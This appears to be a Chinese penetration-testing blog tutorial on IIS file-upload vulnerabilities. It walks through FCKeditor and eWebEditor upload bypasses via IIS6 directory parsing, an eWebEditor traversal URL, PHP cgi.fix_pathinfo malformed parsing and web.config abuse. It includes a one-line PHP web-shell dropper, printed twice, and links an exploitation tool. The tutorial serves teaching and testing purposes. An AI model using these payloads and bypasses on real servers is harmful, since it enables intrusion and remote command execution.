iis服务漏洞(三十文件上传漏洞)
iis服务漏洞(三十文件上传漏洞)EWEbeditorFCKeditor通常,存在 www.xxx.com/edit 或 www.xxx.com/uploadfiles 的域名,很可能会存在编辑器。(2) 需要后台验证,才能操作编辑器。先通过漏洞或其他方法登录后台。常用编辑器包括:
一.编辑器漏洞1.编辑器
编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档。
编辑器通常分为两种情况:
(1) 不需要后台验证,可以直接在前台访问且操作。通过方法找到编辑器,再进行目录爆破(用御剑去扫描网站的目录)和蜘蛛爬行(AWS扫描器去判断是否存在网站编辑器)。
通常,存在 www.xxx.com/edit 或 www.xxx.com/uploadfiles 的域名,很可能会存在编辑器。
(2) 需要后台验证,才能操作编辑器。先通过漏洞或其他方法登录后台。
常用编辑器包括:
FCKeditor
EWEbeditor
CKFinder
UEDITOR
DotNet TextBox
Cute Editor
其中,用的次数较多的两种编辑器是FCK和eWEB,本篇博客将用这两种编辑器作演示。
2.FCKeditor编辑器漏洞利用
FCKeditor常见上传目录:
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
(1) FCK编辑器漏洞 —— “.” 变 “_” 绕过方法
在高版本fck中,直接上传或抓包修改文件名“a.asp;.jpg”,都会将前面的点变成下划线,也就是变成“a_asp;.jpg”,这样我们的文件名解析就无效果了。绕过方法是突破建立文件夹,其实质是利用我们IIS6.0的目录解析(参考前文)。
编辑器漏洞利用常见步骤如下:
找到编辑器。可以通过编辑器路径的文件名来判断是什么编辑器。
确认版本。
搜索该版本编辑器的漏洞利用。
假设路径为“/fckeditor/editor/filemanager/connectors/test.html”,文件名中包含“fck”,可以直接判定为FCK编辑器。打开如下图所示:
在FCKeditor中选中“a.asp;.png”并成功上传,如下图所示。
打开服务器,可以看到成功上传的图片文件。它名字被修改为“a_asp;.png”,这就是FCK高版本的过滤,它将“.”修改为“_”。
(2) FCK编辑器还有一个突破文件上传漏洞
它是利用IIS6的目录解析漏洞,我们先建立一个“a.asp”文件夹,然后上传图片一句话木马“a_asp;.png”,IIS6目录解析漏洞会将“a.asp”目录下的文件都解析成asp文件去执行。
第一步,打开FCK编辑器并在“a.asp”目录下上传一个“b.asp”文件夹。注意,在“Current Folder”中需要填写“/a.asp”。
第二步,打开BurpSuite软件抓包。
可以看到,我们在a.asp目录下创建了“b_asp”文件夹,这是因为“.”被FCK漏洞替换成了“_”。
第三步,这样“a.asp”文件夹就被成功创建,接着将一句话木马上传至该文件夹中。
上传之后如下图所示:
当一句话木马上传成功之后,我们就可以成功利用Caidao进行Webshell目录获取了。最后补充一个FCK编辑器漏洞综合利用工具:https://www.webshell.cc/4479.html
3.eWebEditor编辑器漏洞
eWebEditor编辑器漏洞利用的基本流程如下:
(1) 进后台
eWeb编辑器需要登录后台,其默认数据库地址是:ewebeditor/db/ewebeditor.mdb
(2) eweb遍历漏洞
利用该漏洞遍历文件目录、查看整个网站结构及敏感信息
ewebeditor/admin_uploadfile.asp?id=14&dir=./
(3) 修改样式表上传文件
如下图所示,这里选择某个样式表进行设置。
然后在图片类型中,增加“asa”类型。“.asa”可以被当成“.asp”文件去执行,而网站可能会过滤“asp”类型的后缀,所以这里添加“.asa”。
打开“工具栏”,显示如下图所示:
点击“按钮设置”,准备添加按钮。
选择“插入或修改图片”,然后“保存设置”。
此时返回页面,点击“预览”可以看到我们已经添加的“插入或修改图片”按钮。
然后直接上传“1.asa”文件,如下图所示。
然后点击代码,可以看到这是一个木马的文件路径。
所以,编辑器其实就是一个上传点,通过解析漏洞或多种文件上传漏洞可以实现绕过并上传一句话木马,从而提权。
二.IIS高版本上传IIS6.0毕竟是一个低版本,除了靶场和僵尸站很少能够遇到。真实的渗透中,会遇到很多的问题,比如WAF、高版本过滤、安全狗、被拦截绕过、不解析等等。接下来分享一个IIS高版本上传思路。
1.畸形解析漏洞
畸形解析漏洞影响版本:IIS7、IIS7.5、Nginx<0.8.03
漏洞产生条件是开启Fast-cgi或php配置文件中cgi.fix_pathinfo
其漏洞不是IIS本身的问题,而是PHP配置不当造成的问题,根本原因是开启了cgi.fix_pathinfo选项。由于该漏洞是php配置造成,并且默认开启该功能,所以它影响了IIS7、IIS7.5、IIS8.5等多个版本,凡是IIS PHP都有可能会有这个漏洞。
漏洞利用方法:当我们上传一张名为“1.jpg”的图片文件,并且这张图片文件里包含以下代码。
<?php fputs(fopen('shell.php' 'w') '<?php @eval($_POST[cmd])?>'); ?>
那么它会生成一个叫shell.php的脚本文件,并写入我们的一句话,密码为cmd。而一句话的位置是:上传的图片文件名字“/shell.php”。如果图片没有被改名,那么现在我们的一句话文件在“1.jpg/shell.php”中。
2.案例分析
假设我们向IIS PHP搭建的远程服务器上传“1.jpg”文件。
开启服务器如下图所示:
“1.jpg”代码包含如下代码 ,它能显示PHP配置信息。
<?php phpinfo(); ?>
通过URL能够访问PHP的版本信息,如下图所示。该URL运行了我们的PHP代码,所以才返回相应的配置信息。在URL(49.234.12.78/1.jpg/.php)中,首先访问“.php”文件,它是不存在的,所以跳到前面的“1.jpg”位置,而“1.jpg”是存在的并且包含php代码,就会把它当成php文件去执行,并获取PHP配置信息。
为什么IIS高版本会存在这个漏洞呢?
这是因为IIS高版本在搭建php网站的时候,它会开启CGI/FastCGI,并且php配置文件选项默认开启。所以,该畸形解析漏洞不光存在于IIS7、IIS7.5,还有IIS8、IIS10等版本。
接着我们演示另一个代码,将“1.jpg”内容修改如下,直接写入shell。
<?php fputs(fopen('shell.php' 'w') '<?php @eval($_POST[cmd])?>'); ?>
访问“/1.jpg/shell.php”显示的内容为空。
但是此时会在服务器生成一个名为“shell.php”的文件,如下图所示:
并且“shell.php”包含了我们的一句话木马。
这样通过Caidao即可访问该页面,并获取服务器的文件目录。
3.aspx漏洞
aspx它有一个“web.config”的配置文件,它规定我们上传文件的后缀。
我们可以自定一个后缀名来解析aspx文件。
换句话说,当我们遇到可以上传配置文件的时候,则上传我们修改好的配置文件,然后自定义一个后缀名如“.ad”,从而绕过WAF或检测,上传成功之后它会解析成aspx并执行。如下图所示:
所以,当我们遇到可以上传配置文件的时候,通过该方法实现绕过,从而提权。
三.总结写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助。作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。